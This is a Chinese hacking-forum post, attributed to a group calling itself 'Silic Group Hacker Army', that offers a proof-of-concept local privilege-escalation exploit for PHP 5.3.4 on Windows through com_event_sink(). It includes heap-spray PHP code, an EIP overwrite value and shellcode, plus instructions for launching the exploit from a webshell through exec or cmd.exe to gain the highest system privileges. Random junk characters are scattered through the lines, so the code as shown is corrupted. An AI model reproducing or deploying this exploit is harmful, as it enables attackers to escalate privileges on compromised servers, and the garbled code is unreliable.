|
|
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
& ~% B% c( C, f' e/ }: o# [
/ H+ u8 a/ o. z: `7 w& Q6 j测试方法如下:cmd /c x:\php\php.exe x:\test.php
2 O; Y& Q1 C0 K; p! W1 s8 u; ?2 n E. ^; A
下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php9 a" Y& A2 n6 B
这里是两个测试的截图:
$ l' T0 K) c( s7 J# g
# ?& q1 f/ k4 C, C7 Q0 H/ W- R7 p" h
- _$ ]% ^( F8 I1 T2 b6 H2 D7 ^. J
& ?% d8 j6 b H, k
* l' F1 a* `1 _* a3 y8 J8 ?4 c成功利用此漏洞的攻击者将获得系统的最高权限! _$ p+ n1 L9 |; f: q# J3 c( i
$ p! i) l2 B& ]9 V: n' y8 a9 G+ H
) a3 i* n4 k6 I$ E. D3 g
7 H5 |# [6 v' V" [; a6 I
) K; |* G3 @0 `4 ]+ C2 }
+ U; K. E/ Y3 D0 x, @; B$ M关于漏洞分析稍后附上。一下是PoC代码:9 r; x5 h2 Y- {9 x% ]& {- O! d
2 c5 T* w/ V3 n$ O2 l& c0 r5 J<?php
/ J6 M& H: L: x1 s$ Q//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
1 Z1 H/ a0 {2 C, s5 k9 z e//$eip ="\x44\x43\x42\x41";! m; d' Y/ n& |. c
$eip= "\x4b\xe8\x57\x78";
5 g) e( E' h( s0 f9 p$eax ="\x80\x01\x8d\x04";
: }' `" |5 ` t8 e' s$deodrant="";
. c6 a1 R" ~" B/ M1 [5 q) s. Z$axespray = str_repeat($eip.$eax,0x80);1 f+ n0 [& f( b
//048d0190# d R4 C! i4 V: I
echo strlen($axespray);3 X* T3 e! m1 o; \* W w: [" l
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
7 L- q+ s. a0 z% r B+ vecho "Silic Group Hacker Army - BlackBap.Org";8 l( v3 W4 |( w0 R8 [# y; O
//19200 ==4B32 4b002 a9 @4 y6 V4 D7 }' V+ r
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
/ M) X& {, g' i4 w: b4 e7 S3 R0 T3 C$terminate = "T";
. _. N/ T$ T$ J* u3 }6 U" h: B8 `$u[] =$deodrant;
9 S y, `* r/ w1 D$r[] =$deodrant.$terminate;8 c& W" T$ o. e0 @
$a[] =$deodrant.$terminate;$ ?# G4 Z' i' D+ p. g% m, F
$s[] =$deodrant.$terminate;
: u& a# {; R" ]//$vVar = new VARIANT(0x048d0038+$offset); 这里是可控可改的. C1 V4 i/ f5 V# A O8 J
$vVar = new VARIANT(0x048d0000+180);% e$ ^/ S' D$ l; D
//弹窗代码(Shellcode)# c' R. F; C) y- b Q8 Z
$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";, |9 c# n) m/ y3 i4 U* d/ x1 T% }
$var2 = new VARIANT(0x41414242);
, a' B: j: G" c Acom_event_sink($vVar,$var2,$buffer);
5 x f; S5 c8 J$ T# L8 ?7 S?>& x; ?. V6 C X7 E' X/ E% I& r
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|